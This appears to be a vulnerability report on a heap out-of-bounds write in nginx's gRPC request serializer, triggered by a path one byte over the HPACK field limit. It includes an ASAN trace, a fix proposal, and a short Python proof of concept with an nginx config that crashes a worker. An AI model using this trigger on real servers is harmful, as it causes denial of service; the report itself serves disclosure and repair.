Summary
ngx_http_grpc_create_request() underestimates the outgoing HTTP/2 request HEADERS buffer when serializing a client-controlled :path of length NGX_HTTP_V2_MAX_FIELD + 1. The undersized request-pool temp buffer is later expanded in-place for CONTINUATION frames with ngx_memmove(), causing a heap out-of-bounds write.
This is the gRPC sibling of the proxy_v2 issue tracked in trailofbits/ptp-nginx#11: the root HPACK length-reservation mistake is the same, but the affected module, directives, and stack are ngx_http_grpc_module.c / grpc_pass.
ASAN demonstrates a 135-byte OOB write starting exactly at the end of the allocated buffer. In production builds this is still an out-of-bounds heap write during request construction. Practical impact is at least worker crash / denial of service; exploitability beyond crash was not assessed.
Affected Area
- Component: HTTP gRPC upstream request serialization
- Function:
ngx_http_grpc_create_request()
- File:
src/http/modules/ngx_http_grpc_module.c
- Key anchors:
- fixed HPACK length reserves:
:745, :765, :774, :804-805, :838-839
- temp buffer allocation:
:853-857
- actual path serialization:
:942-944 / :966-975
- CONTINUATION insertion OOB write:
:1120
- HPACK constants/writer:
src/http/v2/ngx_http_v2.h:23-25, src/http/v2/ngx_http_v2_encode.c:23-59
Impact
A remote client can trigger heap corruption when the target location uses grpc_pass, accepts very large request targets via large_client_header_buffers, and has low incidental gRPC-header slack. The backend does not need to be malicious; the crash happens while nginx constructs the upstream request, before the backend accepts a connection.
The minimal accounting error at the boundary is one byte, but the observed overflow is not a one-byte overwrite. The later CONTINUATION-frame memmove() writes a larger block past the buffer; ASAN reports WRITE of size 135.
Expected Behavior
The gRPC request serializer should reject over-limit HPACK string sources or reserve the exact number of bytes needed for the encoded HPACK integer length.
Actual Behavior
The serializer reserves NGX_HTTP_V2_INT_OCTETS bytes for HPACK string lengths. NGX_HTTP_V2_INT_OCTETS is 4, and NGX_HTTP_V2_MAX_FIELD is 2,097,278. A raw HPACK string length of 2,097,278 fits in four integer bytes, but 2,097,279 emits a fifth byte. ngx_http_grpc_create_request() does not reject that value and still allocates using the four-byte estimate.
After serializing the HEADERS block, nginx inserts CONTINUATION frame headers in place with ngx_memmove(). Because the serialized HEADERS block is larger than the estimate, that write crosses the request-pool temp-buffer boundary.
Steps to Reproduce
Use an ASAN build and a location like:
http {
large_client_header_buffers 64 2200k;
server {
listen 127.0.0.1:23220;
location / {
grpc_set_header Host "";
grpc_set_header TE "";
grpc_set_header Content-Length "";
grpc_set_header Connection "";
grpc_pass grpc://127.0.0.1:23221;
}
}
}
Run any TCP listener on 127.0.0.1:23221, then send a request target of length 2,097,279 bytes to the nginx frontend. The control case at 2,097,278 bytes is ASAN-clean.
import socket
uri_len = 2097279
path = "/" + ("~" * (uri_len - 1))
req = (f"GET {path} HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n").encode()
s = socket.create_connection(("127.0.0.1", 23220))
s.sendall(req)
print(s.recv(1024))
s.close()
Evidence
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 135
#0 memmove
#1 ngx_http_grpc_create_request src/http/modules/ngx_http_grpc_module.c:1120
#2 ngx_http_upstream_init_request src/http/ngx_http_upstream.c:655
#3 ngx_http_upstream_init src/http/ngx_http_upstream.c:568
#4 ngx_http_read_client_request_body src/http/ngx_http_request_body.c:103
#5 ngx_http_grpc_handler src/http/modules/ngx_http_grpc_module.c:603
0 bytes after 2098511-byte region
allocated by thread T0 here:
#1 ngx_create_temp_buf src/core/ngx_buf.c:22
#2 ngx_http_grpc_create_request src/http/modules/ngx_http_grpc_module.c:857
Test matrix:
| Case |
Input |
Result |
control :path |
request target length 2,097,278 |
ASAN clean |
trigger :path |
request target length 2,097,279 |
ASAN heap-buffer-overflow before backend accept |
Additional oversized method/header cases were clean in the harness because HPACK Huffman encoding or incidental name/header slack masked the one-byte under-reserve. The path case demonstrates the broken allocation invariant directly.
Suggested Fix
Apply request-side NGX_HTTP_V2_MAX_FIELD validation in ngx_http_grpc_create_request() for method, path, authority, configured grpc_set_header values, and pass-through request headers. The response-side HTTP/2 filter already uses this style of max-field check before relying on the fixed NGX_HTTP_V2_INT_OCTETS reserve.
Alternatively, replace fixed NGX_HTTP_V2_INT_OCTETS reservations with exact encoded HPACK integer-length accounting.
Summary
ngx_http_grpc_create_request()underestimates the outgoing HTTP/2 request HEADERS buffer when serializing a client-controlled:pathof lengthNGX_HTTP_V2_MAX_FIELD + 1. The undersized request-pool temp buffer is later expanded in-place for CONTINUATION frames withngx_memmove(), causing a heap out-of-bounds write.This is the gRPC sibling of the proxy_v2 issue tracked in trailofbits/ptp-nginx#11: the root HPACK length-reservation mistake is the same, but the affected module, directives, and stack are
ngx_http_grpc_module.c/grpc_pass.ASAN demonstrates a 135-byte OOB write starting exactly at the end of the allocated buffer. In production builds this is still an out-of-bounds heap write during request construction. Practical impact is at least worker crash / denial of service; exploitability beyond crash was not assessed.
Affected Area
ngx_http_grpc_create_request()src/http/modules/ngx_http_grpc_module.c:745,:765,:774,:804-805,:838-839:853-857:942-944/:966-975:1120src/http/v2/ngx_http_v2.h:23-25,src/http/v2/ngx_http_v2_encode.c:23-59Impact
A remote client can trigger heap corruption when the target location uses
grpc_pass, accepts very large request targets vialarge_client_header_buffers, and has low incidental gRPC-header slack. The backend does not need to be malicious; the crash happens while nginx constructs the upstream request, before the backend accepts a connection.The minimal accounting error at the boundary is one byte, but the observed overflow is not a one-byte overwrite. The later CONTINUATION-frame
memmove()writes a larger block past the buffer; ASAN reportsWRITE of size 135.Expected Behavior
The gRPC request serializer should reject over-limit HPACK string sources or reserve the exact number of bytes needed for the encoded HPACK integer length.
Actual Behavior
The serializer reserves
NGX_HTTP_V2_INT_OCTETSbytes for HPACK string lengths.NGX_HTTP_V2_INT_OCTETSis4, andNGX_HTTP_V2_MAX_FIELDis2,097,278. A raw HPACK string length of2,097,278fits in four integer bytes, but2,097,279emits a fifth byte.ngx_http_grpc_create_request()does not reject that value and still allocates using the four-byte estimate.After serializing the HEADERS block, nginx inserts CONTINUATION frame headers in place with
ngx_memmove(). Because the serialized HEADERS block is larger than the estimate, that write crosses the request-pool temp-buffer boundary.Steps to Reproduce
Use an ASAN build and a location like:
Run any TCP listener on
127.0.0.1:23221, then send a request target of length2,097,279bytes to the nginx frontend. The control case at2,097,278bytes is ASAN-clean.Evidence
Test matrix:
:path2,097,278:path2,097,279Additional oversized method/header cases were clean in the harness because HPACK Huffman encoding or incidental name/header slack masked the one-byte under-reserve. The path case demonstrates the broken allocation invariant directly.
Suggested Fix
Apply request-side
NGX_HTTP_V2_MAX_FIELDvalidation inngx_http_grpc_create_request()for method, path, authority, configuredgrpc_set_headervalues, and pass-through request headers. The response-side HTTP/2 filter already uses this style of max-field check before relying on the fixedNGX_HTTP_V2_INT_OCTETSreserve.Alternatively, replace fixed
NGX_HTTP_V2_INT_OCTETSreservations with exact encoded HPACK integer-length accounting.